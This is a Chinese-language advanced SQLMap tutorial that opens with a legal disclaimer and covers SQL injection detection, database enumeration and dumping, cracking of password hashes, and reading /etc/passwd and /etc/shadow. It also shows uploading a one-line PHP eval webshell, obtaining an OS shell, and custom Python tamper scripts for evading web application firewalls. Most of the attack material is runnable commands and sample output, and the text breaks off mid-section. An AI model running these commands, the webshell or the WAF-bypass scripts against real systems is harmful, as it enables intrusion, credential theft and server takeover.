【合规声明】
本文内容仅供安全研究、授权渗透测试及教学使用。请勿将本文所述技术
用于未经授权的系统。使用SQLMap对任何目标进行测试前,必须获得目标
所有者的书面授权。违反《中华人民共和国网络安全法》等相关法律法规
的行为将承担法律责任。读者应确保自身行为合法合规,作者不对任何
滥用行为承担责任。


一、简介
 

SQLMap是当前最强大的开源SQL注入自动化检测与利用工具,由Bernardo
Damele和Miroslav Stampar开发维护,支持GitHub开源社区协作。它能够
自动识别并利用SQL注入漏洞,覆盖几乎所有主流数据库系统(MySQL、
Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、
SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB等)。

与Burp Suite的注入检测插件不同,SQLMap专注于SQL注入的深度利用,
具备完整的数据库指纹识别、数据枚举、文件系统访问、操作系统命令
执行等后渗透能力,是渗透测试工程师的必备工具。

本文不是讲解SQL注入漏洞原理的入门文章,而是聚焦于SQLMap工具本身
的高级使用技巧、参数详解、WAF绕过策略、Tamper脚本开发及自动化批
量扫描等实战内容,适合有一定基础的渗透测试人员进阶学习。


二、SQLMap概述与安装配置


2.1 SQLMap功能特性介绍

SQLMap的核心功能可以分为以下几大类:

| 功能类别       | 具体能力说明                                         |
|---------------|---------------------------------------------------|
| 检测能力       | 自动识别SQL注入漏洞类型,支持6种注入技术              |
| 数据库指纹     | 精确识别数据库类型、版本、架构信息                     |
| 数据枚举       | 枚举数据库、表、列、schema、数据条数                   |
| 数据导出       | 完整导出指定库表数据,支持多线程加速                   |
| 文件系统操作    | 读取/写入服务器文件系统                               |
| 操作系统命令    | 获取OS Shell,执行系统命令,反弹Shell                  |
| WAF绕过        | 内置70+ Tamper脚本,支持自定义绕过策略               |
| 注入类型支持    | 布尔盲注、时间盲注、报错注入、联合查询、堆叠查询、内联 |
| 代理支持       | HTTP/HTTPS代理、Tor匿名网络、SOCKS代理               |
| API模式        | 提供RESTful API,支持多任务并行调度                    |

SQLMap支持的6种注入技术(--technique参数):

| 代号 | 注入类型           | 英文名称                | 说明                           |
|-----|-------------------|------------------------|-------------------------------|
| B   | 布尔盲注           | Boolean-based blind     | 通过真/假条件判断逐位提取数据   |
| E   | 报错注入           | Error-based             | 利用数据库报错信息回显数据      |
| U   | 联合查询注入       | UNION query-based       | 使用UNION合并查询结果集         |
| S   | 堆叠查询注入       | Stacked queries         | 利用分号执行多条SQL语句         |
| T   | 时间盲注           | Time-based blind        | 通过延时函数判断条件真假        |
| Q   | 内联查询注入       | Inline queries          | 利用子查询内联执行              |


2.2 安装方法

方法一:pip安装(推荐通用环境)

```
pip install sqlmap
```

升级到最新版本:
```
pip install --upgrade sqlmap
```

方法二:Git克隆安装(推荐,获取最新代码)

```
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py --version
```

【提示】Git克隆方式可以获取最新功能和Bug修复,比pip发布的版本更新。
建议生产环境使用Git克隆方式,定期执行 git pull 更新。

方法三:Kali Linux内置

Kali Linux默认已预装SQLMap,可直接使用:
```
sqlmap --version
sqlmap -h
sqlmap -hh
```

更新Kali中的SQLMap:
```
apt update && apt install sqlmap
```

验证安装:
```
python sqlmap.py --version
```

预期输出:
```
[*] starting @2026-01-01 12:00:00.000000

1.8#stable (PR commit info omitted)
```


2.3 配置文件sqlmap.conf详解

SQLMap支持通过配置文件管理常用参数,避免每次输入冗长命令。
配置文件位于 sqlmap/txt/common-outputs.txt 同目录下,或自定义创建。

创建自定义配置文件:
```
# sqlmap.conf 内容示例
# 目标设置
url = http://target.example.com/page.php?id=1

# 请求设置
method = GET
data = username=admin&password=123456
cookie = PHPSESSID=abc123def456
random-agent = True

# 检测设置
level = 3
risk = 2
dbms = MySQL
technique = BEUSTQ

# 注入设置
tamper = space2comment,charencode

# 数据提取
threads = 5
batch = True
```

使用配置文件:
```
sqlmap -c sqlmap.conf
```

常用配置文件参数说明表:

| 配置项            | 对应命令行参数     | 说明                         | 默认值     |
|------------------|-------------------|------------------------------|-----------|
| url              | -u / --url        | 目标URL                       | -         |
| method            | --method          | HTTP请求方法                  | GET       |
| data             | --data            | POST提交数据                  | -         |
| cookie           | --cookie          | HTTP Cookie头                 | -         |
| randomAgent      | --random-agent    | 随机User-Agent                | False     |
| level            | --level           | 检测级别(1-5)                 | 1         |
| risk             | --risk            | 风险级别(1-3)                 | 1         |
| dbms             | --dbms            | 指定后端数据库类型             | -         |
| technique        | --technique       | 指定注入技术                   | BEUSTQ    |
| tamper           | --tamper          | Tamper脚本                    | -         |
| threads          | --threads         | 并发线程数                     | 1         |
| batch            | --batch           | 批处理模式(非交互)             | False     |
| timeout          | --timeout         | 请求超时(秒)                   | 30        |
| retries          | --retries         | 重试次数                      | 3         |
| proxy            | --proxy           | 代理地址                       | -         |
| outputFile       | --output-dir      | 输出目录                       | -         |
| flushSession     | --flush-session   | 清除会话                       | False     |


三、核心参数与基础用法
 


3.1 目标参数详解

| 参数        | 完整名称         | 功能说明                            | 示例                          |
|------------|-----------------|------------------------------------|------------------------------|
| -u         | --url           | 指定单个目标URL                      | -u "http://target.com/?id=1" |
| -m         | -               | 从文件批量读取URL                    | -m urls.txt                  |
| -r         | -               | 从文件加载HTTP请求(支持Burp导出)      | -r request.txt               |
| -g         | -               | 使用Google dork搜索目标              | -g "inurl:php?id="           |
| --data     | -               | 指定POST数据                        | --data "user=admin&pass=1"   |
| -l         | -               | 从Burp/log文件加载目标               | -l burp_log.txt              |
| --crawl    | -               | 从目标URL开始爬取                    | --crawl=3                    |
| --forms    | -               | 自动解析页面表单                      | --forms                      |
| -d         | -               | 直连数据库(非HTTP)                  | -d "mysql://user:pass@host"  |

【示例】单URL检测:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --batch
```

【示例】批量URL检测:
```
# urls.txt 内容:
# http://192.168.1.100/page.php?id=1
# http://192.168.1.101/article.php?art_id=5
# http://192.168.1.102/view.php?v=3

sqlmap -m urls.txt --batch --smart
```

【示例】使用请求文件(从Burp Suite导出):
```
# request.txt 内容:
POST /login.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

username=admin&password=test123
```

执行检测:
```
sqlmap -r request.txt -p username --batch
```

【提示】使用 -r 参数时,SQLMap会自动解析请求方法、请求头、POST数据,
无需再手动指定 --data。可以用星号 * 标记特定注入点:
    username=admin*&password=test123
这表示只在 username 参数上测试注入。

【示例】POST数据直接检测:
```
sqlmap -u "http://192.168.1.100/login.php" --data="username=admin&password=123" -p username --batch
```


3.2 检测参数详解

【--level 参数详解】

| 级别 | 检测范围                                          | 测试参数位置              | 适用场景           |
|-----|--------------------------------------------------|------------------------|-------------------|
| 1   | 默认级别,仅测试GET/POST参数                       | URL参数、POST表单数据    | 快速检测           |
| 2   | 增加Cookie测试                                     | 上述+Cookie              | Cookie注入检测      |
| 3   | 增加User-Agent和Referer测试                        | 上述+UA+Referer          | HTTP头注入检测      |
| 4   | 增加Host头测试                                     | 上述+Host头              | 深度检测           |
| 5   | 最高级别,测试所有可能的注入点                       | 所有HTTP头+所有参数      | 全面深度检测        |

【提示】--level 提高会显著增加检测时间。日常测试建议 level 3,
全面渗透测试建议 level 5。level 2 及以上会检测 Cookie 注入。

【--risk 参数详解】

| 级别 | 风险说明                                         | 副作用                          |
|-----|-------------------------------------------------|-------------------------------|
| 1   | 默认级别,使用安全的测试payload                     | 无副作用,适合生产环境           |
| 2   | 增加基于大量OR的布尔测试(OR-based boolean)         | 可能修改数据库数据(UPDATE等)      |
| 3   | 增加OR-based SQL注入测试,测试更多payload            | 可能修改/删除数据,风险较高       |

【警告】--risk 3 会执行如 OR 1=1 类型的测试,可能导致数据库记录被
修改。生产环境务必使用 --risk 1,仅在测试环境中使用 risk 2-3。

【--dbms 指定数据库类型】
```
sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql --batch
```

支持的数据库名称:
| 数据库        | --dbms参数值     |
|--------------|------------------|
| MySQL        | mysql            |
| Oracle       | oracle           |
| PostgreSQL   | postgresql       |
| MS SQL Server| mssql            |
| MS Access    | access           |
| SQLite       | sqlite           |
| IBM DB2      | db2              |
| Firebird     | firebird          |
| Sybase       | sybase           |
| SAP MaxDB    | maxdb            |
| HSQLDB       | hsqldb           |

【--technique 指定注入类型】

默认 SQLMap 会尝试所有注入技术(BEUSTQ)。可以指定单一技术:
```
# 仅测试联合查询注入
sqlmap -u "http://target.com/page.php?id=1" --technique=U --batch

# 仅测试布尔盲注和时间盲注
sqlmap -u "http://target.com/page.php?id=1" --technique=BT --batch

# 仅测试报错注入
sqlmap -u "http://target.com/page.php?id=1" --technique=E --batch
```

【提示】明确知道数据库类型和注入技术时,指定 --dbms 和 --technique
可以大幅减少检测时间,提高效率。


3.3 注入点检测流程详解

SQLMap的注入检测遵循以下流程:

步骤1:连接目标并获取基础响应
步骤2:识别后端数据库类型(若未指定--dbms)
步骤3:对每个参数位置逐一测试注入技术
步骤4:确认注入点后,选择最高效的注入技术
步骤5:获取数据库指纹信息
步骤6:等待用户选择后续操作(枚举/导出等)

实际检测命令演示:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --batch --level=3 --risk=1

# 预期输出示例:
[*] starting @2026-01-01 12:00:00.000000

[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY'
[INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based' injectable
[INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[INFO] target URL appears to have 3 columns in query
[INFO] GET parameter 'id' is vulnerable
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2315=2315

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
    Payload: id=1 AND (SELECT 2315 FROM(SELECT COUNT(*),CONCAT(...))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(...)
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
```


四、数据提取操作
 


4.1 数据库指纹识别
 

确认注入点后,首先获取数据库基础信息:

```
# 获取数据库Banner信息(版本)
sqlmap -u "http://192.168.1.100/news.php?id=1" --banner --batch

# 获取当前用户
sqlmap -u "http://192.168.1.100/news.php?id=1" --current-user --batch

# 获取当前数据库名
sqlmap -u "http://192.168.1.100/news.php?id=1" --current-db --batch

# 检测当前用户是否为DBA(数据库管理员)
sqlmap -u "http://192.168.1.100/news.php?id=1" --is-dba --batch

# 获取数据库主机名
sqlmap -u "http://192.168.1.100/news.php?id=1" --hostname --batch

# 一次性获取所有指纹信息
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --banner --current-user --current-db --is-dba --hostname \
    --batch
```

预期输出:
```
[INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 7.4.3
back-end DBMS: MySQL >= 5.0
banner: '5.7.33-0ubuntu0.18.04.1'
current user: 'webapp_user@localhost'
current database: 'webapp_db'
hostname: 'webserver-01'
current user is DBA: False
```

【注意】--is-dba 返回 True 表示当前用户拥有DBA权限,可以执行
--os-shell、--file-read、--file-write 等高危操作。


4.2 枚举命令
 

| 枚举命令       | 功能说明                              | 示例                                    |
|---------------|--------------------------------------|----------------------------------------|
| --dbs         | 枚举所有数据库名                      | --dbs                                  |
| --tables      | 枚举指定库的所有表                    | --tables -D webapp_db                  |
| --columns     | 枚举指定表的列信息                    | --columns -D webapp_db -T users        |
| --schema      | 枚举所有库的表结构                    | --schema                               |
| --count       | 统计指定表的数据条数                  | --count -D webapp_db -T users          |
| --dump        | 导出指定表的数据                      | --dump -D webapp_db -T users           |
| --dump-all    | 导出所有数据库所有表数据              | --dump-all --exclude-sysdbs            |
| --search      | 搜索列名/表名/数据库名               | --search -C password -T user           |

【示例】枚举所有数据库:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --dbs --batch
```

输出示例:
```
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] webapp_db
```

【示例】枚举指定数据库的表:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --tables -D webapp_db --batch
```

输出示例:
```
Database: webapp_db
[5 tables]
+----------+
| users    |
| news     |
| articles |
| config   |
| logs     |
+----------+
```

【示例】枚举指定表的列:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --columns -D webapp_db -T users --batch
```

输出示例:
```
Database: webapp_db
Table: users
[5 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| username | varchar(50) |
| password | varchar(64) |
| email    | varchar(100)|
| role     | varchar(20) |
+----------+-------------+
```

【示例】统计表数据条数:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --count -D webapp_db -T users --batch
```

输出示例:
```
Database: webapp_db
Table: users
[1 entry]
+-------+
| users |
+-------+
| 1523  |
+-------+
```

【示例】搜索功能(按列名搜索):
```
# 搜索包含"password"列的所有表
sqlmap -u "http://192.168.1.100/news.php?id=1" --search -C "password" --batch

# 搜索包含"user"的表名
sqlmap -u "http://192.168.1.100/news.php?id=1" --search -T "user" --batch


4.3 数据导出
 

【示例】导出指定表数据:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --dump -D webapp_db -T users \
    --batch --threads=5
```

输出示例:
```
Database: webapp_db
Table: users
[3 entries]
+----+----------+----------------------------------+-------------------+--------+
| id | username | password                         | email             | role   |
+----+----------+----------------------------------+-------------------+--------+
| 1  | admin    | 21232f297a57a5a743894a0e4a801fc3 | admin@test.com    | admin  |
| 2  | user1    | e10adc3949ba59abbe56e057f20f883e | user1@test.com    | user   |
| 3  | test     | 098f6bcd4621d373cade4e832627b4f6 | test@test.com     | user   |
+----+----------+----------------------------------+-------------------+--------+

[INFO] cracked password hashes for table 'users' in database 'webapp_db':
[INFO] cracked password 'admin' for hash 21232f297a57a5a743894a0e4a801fc3
[INFO] cracked password '123456' for hash e10adc3949ba59abbe56e057f20f883e
```

【提示】SQLMap默认会尝试使用自带的密码字典破解MD5/SHA1等哈希。
导出的数据保存在 ~/.local/share/sqlmap/output/ 目录下的CSV文件中。

【示例】导出指定列数据:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --dump -D webapp_db -T users -C "username,password" \
    --batch
```

【示例】导出时跳过系统数据库:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --dump-all --exclude-sysdbs --batch --threads=5
```

【示例】交互式SQL Shell:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --sql-shell --batch
```

进入交互式Shell后可以执行任意SQL:
```
sql-shell> SELECT version();
sql-shell> SELECT * FROM webapp_db.users LIMIT 5;
sql-shell> SHOW VARIABLES LIKE '%secure%';
sql-shell> exit
```

【示例】执行单条SQL查询:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --sql-query="SELECT username,password FROM webapp_db.users WHERE role='admin'" \
    --batch
```


4.4 文件系统操作
 

【注意】文件系统操作需要当前数据库用户具有FILE权限或DBA权限。
MySQL中还需满足 secure_file_priv 配置允许的路径。

【示例】读取服务器文件:
```
# 读取/etc/passwd
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --file-read="/etc/passwd" --batch

# 读取Web配置文件
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --file-read="/var/www/html/config.php" --batch
```

输出示例:
```
[INFO] fetching file: '/etc/passwd'
[INFO] the local file '/root/.local/share/sqlmap/output/192.168.1.100/files/_etc_passwd' \
and the remote file '/etc/passwd' have the same size (1523 B)
files saved to:
    /root/.local/share/sqlmap/output/192.168.1.100/files/_etc_passwd
```

【示例】上传文件到服务器:
```
# 上传webshell
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --file-write="shell.php" \
    --file-dest="/var/www/html/uploads/shell.php" \
    --batch
```

shell.php 示例内容(一句话木马):
```php
<?php @eval($_POST['cmd']); ?>
```

【警告】文件写入操作需要知道Web根路径。可通过报错信息、phpinfo()
页面、--os-shell等途径获取Web根路径。上传文件务必仅在授权环境中进行。


4.5 操作系统命令执行
 

| 参数         | 功能说明                                  | 风险等级 |
|-------------|------------------------------------------|---------|
| --os-shell  | 获取交互式操作系统Shell                    | 极高    |
| --os-cmd    | 执行单条操作系统命令                        | 极高    |
| --os-pwn    | 获取OOB(带外)Shell,反弹Shell到攻击者    | 极高    |
| --os-bof    | 利用存储过程缓冲区溢出                      | 极高    |
| --os-smbrelay| SMB中继攻击                               | 极高    |

【示例】获取OS Shell:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --os-shell --batch
```

SQLMap获取OS Shell的原理:
1. 确认当前用户是否为DBA
2. 尝试通过UDF(User Defined Function)提权
3. MySQL:上传.so/.dll共享库文件并创建自定义函数
4. MSSQL:利用xp_cmdshell存储过程
5. 获取交互式Shell后可执行任意系统命令

预期输出:
```
[INFO] checking if the current user is DBA
[INFO] going to upload a shared library
[INFO] the file stager has been successfully uploaded to '/var/www/html/' ... \
and is accessible through 'http://192.168.1.100/tmpumqlp.php'
[INFO] uploading the shared library to the file system
[INFO] the shared library has been uploaded to '/usr/lib/mysql/plugin/'
[INFO] creating UDF 'sys_exec' from the binary
[INFO] the shell prompt statement is available, you can now execute commands
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell> uname -a
command standard output: 'Linux webserver-01 5.4.0-42-generic ... x86_64 GNU/Linux'
os-shell> exit
```

【示例】执行单条命令:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --os-cmd="cat /etc/shadow" --batch
```

【警告】--os-shell 和 --os-cmd 会留下明显的系统日志痕迹,且可能
触发安全设备告警。务必仅授权测试使用。


五、高级注入技巧


5.1 Tamper脚本详解

Tamper是SQLMap最强大的功能之一,它允许在注入payload发送前对payload
进行编码、变形、混淆等处理,从而绕过WAF/IPS等安全防护设备。

Tamper工作原理:

1. SQLMap生成原始注入payload
2. Tamper脚本接收原始payload作为参数
3. Tamper脚本对payload进行变形处理
4. 变形后的payload被发送到目标
5. 目标WAF无法识别变形后的payload,放行请求
6. SQLMap根据响应判断注入是否成功

Tamper脚本存放路径:
```
sqlmap/tamper/
```

查看所有可用tamper脚本:
```
sqlmap --list-tampers
```

常用Tamper脚本功能对比表:

| Tamper脚本名称          | 功能说明                                          | 适用WAF          |
|------------------------|--------------------------------------------------|-----------------|
| space2comment           | 将空格替换为/**/注释                              | 通用             |
| space2dash              | 将空格替换为--注释后跟随机字符串                   | 通用             |
| space2plus              | 将空格替换为+号                                   | 通用             |
| space2randomblank      | 将空格替换为随机空白字符(Tab/换行/注释等)          | 通用             |
| space2mssqlblank        | 将空格替换为MSSQL有效空白字符                      | MSSQL            |
| space2mssqlhash         | 将空格替换为#号加换行                             | MSSQL            |
| space2mysqlblank        | 将空格替换为MySQL有效空白字符                      | MySQL            |
| space2hash             | 将空格替换为#号加随机字符串                        | MySQL            |
| charencode             | 对payload进行URL全编码                            | 通用             |
| charunicodeencode       | 对payload进行Unicode URL编码                      | 通用/WAF严格      |
| chardoubleencode        | 对payload进行双重URL编码                          | WAF双重检测       |
| between                | 将>替换为NOT BETWEEN,=替换为BETWEEN               | 通用             |
| randomcase             | 对SQL关键字进行随机大小写混淆                      | 通用             |
| apostrophemask         | 将单引号替换为UTF-8全角字符                        | 通用             |
| apostrophenullencode    | 将单引号替换为非法双Unicode编码                    | 通用             |
| halfversionedmorekeywords | 在关键字前加MySQL版本注释                    | MySQL<5.1        |
| modsecurityversioned   | 使用MySQL版本注释绕过ModSecurity                   | ModSecurity       |
| modsecurityzeroversion | 使用MySQL零版本注释绕过ModSecurity                | ModSecurity       |
| unionalltounion        | 将UNION ALL替换为UNION                            | 通用             |
| securesphere           | 在关键字后添加securesphere特殊字符串               | SecureSphere     |
| percentage             | 在每个字符前添加%号                               | ASP/IIS          |
| sp_password            | 在payload末尾追加sp_password隐藏日志              | MSSQL            |
| varnish                | 添加X-Originating-IP头绕过Varnish防火墙           | Varnish          |
| xforwardedfor          | 添加伪造的X-Forwarded-For头                        | 通用             |
| base64encode           | 对payload进行Base64编码                           | 通用             |
| appendnullbyte         | 在payload末尾追加%00空字节                        | ASP/IIS          |
| equaltolike            | 将=替换为LIKE                                     | 通用             |
| greatest               | 将>替换为GREATEST函数                             | 通用             |
| ifnull2ifisnull        | 将IFNULL替换为IF IS NULL                          | MySQL            |
| magicquotes            | 绕过PHP magic_quotes_gpc                          | PHP              |
| equaltolike            | 将等号替换为LIKE                                  | 通用             |

【示例】使用单个tamper:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=space2comment --batch
```

【示例】组合使用多个tamper(逗号分隔):
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=space2comment,charencode,randomcase --batch
```

【提示】Tamper组合不是越多越好。多个tamper叠加可能导致payload变形
过度,反而影响注入成功率。建议根据WAF特征选择2-3个最匹配的tamper。


5.2 自定义Tamper脚本开发
 

Tamper脚本本质是Python模块,必须实现 tamper(payload, **kwargs) 函数。

Tamper脚本标准模板:

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Copyright (c) 2026 Custom Tamper Script
License: GNU General Public License v3.0

Custom tamper script for bypassing specific WAF rules.
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    """检查依赖,可选函数"""
    pass

def tamper(payload, **kwargs):
    """
    对注入payload进行变形处理

    Args:
        payload (str): 原始注入payload
        **kwargs: 额外参数

    Returns:
        str: 变形后的payload
    """
    # 在此编写payload变形逻辑
    retVal = payload

    # 示例:将空格替换为内联注释
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in range(len(payload)):
            char = payload[i]

            # 处理单引号内的内容(不变形)
            if char == "'" and not doublequote:
                quote = not quote
                retVal += char
                continue
            elif char == '"' and not quote:
                doublequote = not doublequote
                retVal += char
                continue
            # 第一个空格替换为内联注释
            elif not quote and not doublequote and char == ' ' and not firstspace:
                retVal += "/**/"
                firstspace = True
                continue
            # 其余空格替换为%0a(换行符)
            elif not quote and not doublequote and char == ' ':
                retVal += "%0a"
                continue
            else:
                retVal += char
                continue

    return retVal
```

【实战示例1】编写绕过关键字过滤的tamper(替换UNION SELECT):

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Tamper: unionselect_bypass
Description: 将UNION SELECT拆分为UNION/*!50000SELECT*/绕过关键字过滤
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    将 UNION SELECT 替换为 UNION/*!50000SELECT*/
    将 AND 替换为 /*!50000AND*/
    将 OR 替换为 /*!50000OR*/
    """
    retVal = payload

    if payload:
        retVal = retVal.replace("UNION", "UNION/*!50000")
        retVal = retVal.replace("SELECT", "SELECT*/")
        retVal = retVal.replace(" AND ", "/*!50000AND*/")
        retVal = retVal.replace(" OR ", "/*!50000OR*/")
        retVal = retVal.replace(" ORDER BY ", "/*!50000ORDER*/ /*!50000BY*/")

    return retVal
```

【实战示例2】编写双重编码tamper:

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Tamper: double_url_encode
Description: 对payload进行双重URL编码,绕过只解码一次的WAF
"""

from lib.core.enums import PRIORITY
from lib.core.convert import urldecode
from urllib.parse import quote

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    对payload进行双重URL编码
    第一层编码后,对%号再进行编码
    """
    retVal = payload

    if payload:
        # 第一层URL编码
        retVal = quote(payload, safe='')
        # 第二层:将%替换为%25
        retVal = retVal.replace('%', '%25')

    return retVal
```

【实战示例3】编写自定义WAF绕过tamper(针对特定WAF规则):

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Tamper: custom_waf_bypass
Description: 针对特定WAF规则组合多种绕过技术
    1. 关键字随机大小写
    2. 空格替换为多种变体
    3. 关键字内嵌注释
    4. 特殊字符编码
"""

import re
import random
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    多重变形绕过WAF
    """
    retVal = payload

    if payload:
        # 步骤1:SQL关键字随机大小写混淆
        keywords = ['SELECT', 'UNION', 'FROM', 'WHERE', 'AND', 'OR',
                    'ORDER', 'BY', 'INSERT', 'UPDATE', 'DELETE',
                    'CONCAT', 'GROUP', 'LIMIT', 'HAVING', 'CASE',
                    'WHEN', 'THEN', 'ELSE', 'END', 'SUBSTR', 'COUNT']
        for kw in keywords:
            # 随机大小写混合
            mixed = ''.join(
                c.upper() if random.random() > 0.5 else c.lower()
                for c in kw
            )
            retVal = retVal.replace(kw, mixed)

        # 步骤2:空格替换为随机空白变体
        space_variants = ['/**/', '/*random*/', '%0a', '%09', '%0d%0a']
        parts = retVal.split(' ')
        retVal = parts[0]
        for part in parts[1:]:
            retVal += random.choice(space_variants) + part

        # 步骤3:在UNION和SELECT之间插入注释
        retVal = re.sub(
            r'(UNION)(\s+)(SELECT)',
            r'\1/**/%0a\3',
            retVal,
            flags=re.IGNORECASE
        )

        # 步骤4:等号替换为LIKE
        retVal = retVal.replace('=', ' LIKE ')

        # 步骤5:单引号替换为Unicode编码
        retVal = retVal.replace("'", "%u0027")

    return retVal
```

将自定义tamper脚本保存到 sqlmap/tamper/ 目录下,文件名即为tamper名称:
```
cp custom_waf_bypass.py sqlmap/tamper/custom_waf_bypass.py
```

使用自定义tamper:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=custom_waf_bypass --batch
```

【注意】自定义tamper脚本必须放在 sqlmap/tamper/ 目录下,文件名与
tamper参数值一致(不含.py后缀)。脚本中 __priority__ 决定多个tamper
的执行顺序,PRIORITY.HIGHEST 最先执行。


5.3 二阶注入检测
 

二阶注入(Second-Order SQL Injection)是指注入payload先被存储到数据库
中,在后续查询中被执行。SQLMap通过 --second-order 参数支持检测。

【示例】二阶注入检测:
```
# 第一步:在注册页面提交包含注入payload的用户名
# 第二步:在个人资料页面查看时触发payload执行

sqlmap -u "http://192.168.1.100/register.php" \
    --data="username=test'&email=test@test.com" \
    --second-order="http://192.168.1.100/profile.php" \
    --batch --level=3
```

--second-order 参数说明:
- 指定二阶注入响应的URL
- SQLMap会在第一阶段URL提交payload后,访问第二阶段URL检查响应
- 支持正则匹配提取响应内容:--second-order="http://target.com/page.php" --second-req=second_request.txt

【示例】使用请求文件进行二阶注入检测:
```
# first_request.txt - 第一阶段请求(提交payload)
POST /register.php HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded

username=test*&email=a@b.com

# second_request.txt - 第二阶段请求(查看触发)
GET /profile.php HTTP/1.1
Host: 192.168.1.100
Cookie: PHPSESSID=valid_session_id
```

执行检测:
```
sqlmap -r first_request.txt \
    --second-req=second_request.txt \
    --second-order="http://192.168.1.100/profile.php" \
    --batch --level=3
```


5.4 注入点伪静态URL处理
 

【示例】爬虫模式自动发现注入点:
```
# 从首页开始爬取,深度为3
sqlmap -u "http://192.168.1.100/" --crawl=3 --batch

# 爬取并自动检测表单
sqlmap -u "http://192.168.1.100/" --crawl=3 --forms --batch

# 爬取并指定排除路径
sqlmap -u "http://192.168.1.100/" --crawl=3 \
    --crawl-exclude="logout|admin" --batch
```

【示例】伪静态URL处理(使用星号标记注入点):
```
# 伪静态URL: http://target.com/article/123.html
# 在数字后添加*标记注入点
sqlmap -u "http://192.168.1.100/article/1*.html" --batch
```

【提示】伪静态URL(如 /article/123.html)SQLMap默认可能无法自动识别
注入点。在需要测试的参数位置添加 * 号可以强制指定注入点。

【示例】自动表单检测:
```
sqlmap -u "http://192.168.1.100/login.php" --forms --batch --crawl=2
```


5.5 HTTP请求定制
 

| 参数             | 功能说明                          | 示例                                    |
|-----------------|----------------------------------|----------------------------------------|
| --cookie        | 设置Cookie                        | --cookie="PHPSESSID=abc123"            |
| --user-agent    | 设置User-Agent                   | --user-agent="Mozilla/5.0"             |
| --random-agent  | 随机切换User-Agent                | --random-agent                         |
| --referer       | 设置Referer头                     | --referer="http://target.com/index.php"|
| --headers       | 自定义多个HTTP头                  | --headers="X-Forwarded-For: 1.2.3.4"   |
| --host          | 设置Host头                        | --host="target.com"                    |
| --method        | 强制HTTP方法                      | --method=PUT                           |
| --delay         | 请求间隔延时(秒)                 | --delay=2                              |
| --timeout       | 请求超时(秒)                     | --timeout=60                           |
| --retries       | 重试次数                          | --retries=5                            |
| --keep-alive    | 使用HTTP长连接                     | --keep-alive                           |
| --csrf-token    | 指定CSRF Token参数名              | --csrf-token="csrf_token"              |
| --csrf-url      | 获取CSRF Token的URL               | --csrf-url="http://target.com/token"   |

【示例】完整HTTP请求定制:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --cookie="PHPSESSID=abc123def456; security=low" \
    --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
    --referer="http://192.168.1.100/index.php" \
    --headers="X-Forwarded-For: 127.0.0.1\nX-Custom: test" \
    --delay=1 \
    --timeout=30 \
    --retries=3 \
    --batch
```

【示例】CSRF Token自动处理:
```
# 当目标需要CSRF Token时,SQLMap自动获取并携带
